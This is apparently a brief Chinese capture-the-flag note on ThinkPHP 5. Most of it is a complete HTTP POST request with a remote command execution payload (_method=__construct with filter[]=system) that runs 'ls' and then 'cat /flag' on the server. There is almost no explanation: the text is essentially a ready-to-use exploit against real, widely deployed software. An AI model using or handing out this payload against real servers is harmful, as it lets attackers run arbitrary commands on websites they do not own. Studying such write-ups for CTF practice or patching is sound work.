thinkphp5
s=1
使用以下方法可以进行远程命令执行https://blog.csdn.net/qq_38807738/article/details/86777541
POST /index.php?s=captcha HTTP/1.1
Host: 你的id
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
所以直接post
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
根目录里面找到flag
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag